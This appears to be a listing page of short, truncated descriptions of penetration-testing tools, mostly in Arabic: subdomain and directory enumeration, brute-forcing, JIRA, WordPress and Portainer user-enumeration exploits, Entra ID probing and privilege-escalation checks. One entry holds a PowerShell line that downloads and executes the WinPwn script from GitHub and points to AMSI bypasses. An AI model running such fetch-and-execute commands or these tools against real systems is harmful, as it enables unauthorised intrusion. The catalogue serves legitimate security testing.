getsubdomain

getsubdomain احصل على قائمة النطاقات الفرعية وتأكد من كونها نشطة أم لا عن طريق رمز الاستجابة الخاصة بكل نطاق. باستخدام API من c99.nl التثبيت ▶ go install github.com/abaykan/getsubdomain@latest ضع APIKEY الخاص بك في /.config/c99.txt: ▶ echo "" /.config/c99.txt الاستخدام نطاق واحد ▶ echo...

CVE-2019-3403

CVE-2019-3403 أردت أن أتمكن بسهولة من استغلال CVE-2019-3403 لاستخراج جميع المستخدمين من تطبيق JIRA، لذا جهزت هذا السكربت بسرعة. إنه ليس أنظف كود على الإطلاق، ولا يتعامل مع الطلبات التي تعيد أكثر من 1000 مستخدم سيقتصر على أول 1000 فقط - لكنه يستطيع استخراج جميع المستخدمين بسرعة من خادم JIRA معرض...

BruteX

BruteX حول: الهجوم الآلي بالقوة العمياء على جميع الخدمات العاملة على الهدف المنافذ المفتوحة أسماء المستخدمين كلمات المرور التثبيت: ./install.sh الاستخدام: brutex target دوكر: docker build -t brutex . docker run -it brutex target الترخيص: يمكنك تعديل وإعادة توزيع هذا البرنامج طالما لم يتم تعديل اس...

cansina

كانسينا كانسينا هو تطبيق لاكتشاف المحتوى على الويب. من المعروف أن تطبيقات الويب لا تنشر جميع مواردها أو روابطها العامة، لذا فإن الطريقة الوحيدة لاكتشاف هذه الموارد هي طلبها والتحقق من الاستجابة. مهمة كانسينا هي مساعدتك في تقديم الطلبات وتصفية وفحص الاستجابات لتمييز ما إذا كان موردًا موجودًا أم مج...

wpUsersScan

wpUsersScan حول wpUsersScan تعداد قائمة مستخدمي مواقع ووردبريس من خلال REST API / CVE-2017-5487، ووردبريس 4.7.1 - تعداد أسماء المستخدمين الاستخدام $ python wpUsersScan.py URL كيفية التثبيت استنساخ استنساخ المستودع باستخدام: $ git clone https://github.com/R3K1NG/wpUsersScan.git $ cd wpUsersScan $...

cwe-sdk-javascript

cwe-sdk Un SDK Node.js pour l'énumération des faiblesses courantes CWE conforme à MITRE / CAPEC Installation yarn add cwe-sdk Utilisation Importez la classe CweManager et utilisez ses méthodes const CweManager = require'cwe-sdk' Exemple const CweManager = require'cwe-sdk' const cweManager = new...

puncia

PantheraP.uncia Official CLI utility for Subdomain Center & Exploit Observer Puncia is the official command-line client for two A.R.P. Syndicate intelligence APIs — point it at a domain, a brand, or a vulnerability ID and get structured JSON back in seconds, no browser required: 🕸️ Subdomain Cente...

BruteConda

إذا ساعدك هذا، ربما يمكنك مساعدتي من خلال دعمي ماليًا، مما سيساعدني في إنشاء "أدوات مفتوحة المصدر" أفضل BruteConda أداة لتخمين الدلائل تجعل حياتك أسهل! لماذا BruteConda فقط؟ سريعة وفعالة سهلة الاستخدام صديقة للمستخدم المتطلبات: يجب تثبيت Python3 يجب تثبيت الوحدات التالية في Python3:...

go-rpmdb

go-rpmdb مكتبة لتعداد الحزم في ملف Packages الخاص بقاعدة بيانات RPM بدون ارتباطات. package main import "fmt" "log" rpmdb "github.com/knqyf263/go-rpmdb/pkg" func main if err := run; err != nil log.Fatalerr func run error db, err := rpmdb.Open"./Packages" if err != nil return err pkgList, err :=...

CredSpy

CredSpy تعداد طرق المصادقة في Microsoft Entra ID لعناوين البريد الإلكتروني باستخدام واجهة GetCredentialType العامة. هذا هو نفس نقطة النهاية التي تستخدمها صفحة تسجيل الدخول في Microsoft عند إدخال اسم المستخدم. على عكس معظم الأدوات التي تستخدم طريقة GetCredentialType، يعرض CredSpy أيضًا طرق المصادق...

CVE-2024-29296

CVE-2024-29296 - تعداد المستخدمين على Portainer CE - 2.19.4 تم العثور على ثغرة تعداد المستخدمين في Portainer CE 2.19.4. تحدث هذه المشكلة أثناء عملية مصادقة المستخدم، حيث يمكن أن يسمح الاختلاف في وقت الاستجابة لمهاجم غير موثوق عن بُعد بتحديد ما إذا كان اسم المستخدم صالحًا أم لا. تم إصلاح هذه الثغر...

goblob

Goblob 🫐 Goblob هي أداة تعداد خفيفة وسريعة مصممة للمساعدة في اكتشاف المعلومات الحساسة المكشوفة علنًا في Azure blobs، والتي يمكن أن تكون مفيدة لأغراض بحثية متنوعة مثل تقييمات الثغرات الأمنية، واختبار الاختراق، والاستطلاع. تحذير. ستصدر Goblob goroutines فردية لكل اسم حاوية ليتم التحقق منه في كل حسا...

vortex

🚩 هذا هو المستودع العام لـ vortex، للحصول على أحدث إصدار وتحديثات، يرجى التفكير في دعمنا من خلال https://porchetta.industries/ Vortex مجموعة أدوات الاستطلاع والاختبار والتعداد والاستغلال الشاملة لشبكات VPN 🚩 الرعاة إذا كنت ترغب في رعاية هذا المشروع والحصول على أحدث التحديثات على vortex، وإصلاح أح...

Atlas

Atlas Atlas is a cross-platform Windows/Linux network execution and security assessment toolkit built on top of TrustedSec's Titanis protocol library. It is inspired by the workflow of NetExec/CrackMapExec: target lists, credential sets, modular enumeration, and compact HH:mm:ss + host - message...

AutoRecon

إنها مثل البولينج مع الحواجز. - @ippsec AutoRecon AutoRecon هي أداة مسح شبكي متعددة الخيوط تقوم بالتعداد الآلي للخدمات. صُممت كأداة لتوفير الوقت للاستخدام في CTFs وبيئات اختبار الاختراق الأخرى مثل OSCP. قد تكون مفيدة أيضًا في المهام الواقعية. تعمل الأداة عن طريق إجراء مسح للمنافذ / مسح اكتشاف...

chomtesh

CHOMTE.SH تأكد من وضع :star: على هذا المستودع لتتمكن من متابعة آخر التحديثات اليومية! CHOMTE.SH هو إطار عمل متعدد الاستخدامات مصمم لأتمتة مهام الاستطلاع في اختبار الاختراق. وهو مفيد لصائدي الثغرات ومختبرّي الاختراق في كل من الشبكات الداخلية والخارجية. تشمل ميزاته الرئيسية جمع النطاقات الفرعية،...

Pentest-Tools-Collection

Collection d'outils de pentest Active Directory AMSI https://amsi.fail/ Collections d'outils WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack...

linuxprivchecker

Linuxprivchecker.py سكريبت فحص تصعيد الصلاحيات في لينكس المؤلف الأصلي: Mike Czumak Tv3rn1x -- @SecuritySift المطور الحالي: Michael Contino @Sleventyeleven تم تصميم هذا السكريبت لتنفيذه محلياً على جهاز لينكس لحصر معلومات النظام الأساسية والبحث عن متجهات تصعيد الصلاحيات الشائعة مثل الملفات القابلة...

oxo

محرك تنسيق الفحص OXO OXO هو إطار عمل للفحص الأمني مبني على المعيارية وقابلية التوسع والبساطة. وهو مفتوح المصدر ويتم صيانته بواسطة Ostorlab. يجمع محرك OXO بين أدوات متخصصة للعمل بشكل متناسق لاكتشاف الثغرات الأمنية وتنفيذ إجراءات مثل الاستطلاع والتعداد والبصمة. التوثيق متجر الوكلاء دليل CLI أمثلة...

feroxbuster

!WARNING Security Notice – Domain Impersonation The domain feroxbuster.com is NOT affiliated with this project, its maintainers, or any official feroxbuster releases. Official feroxbuster downloads are distributed ONLY through: https://github.com/epi052/feroxbuster open source...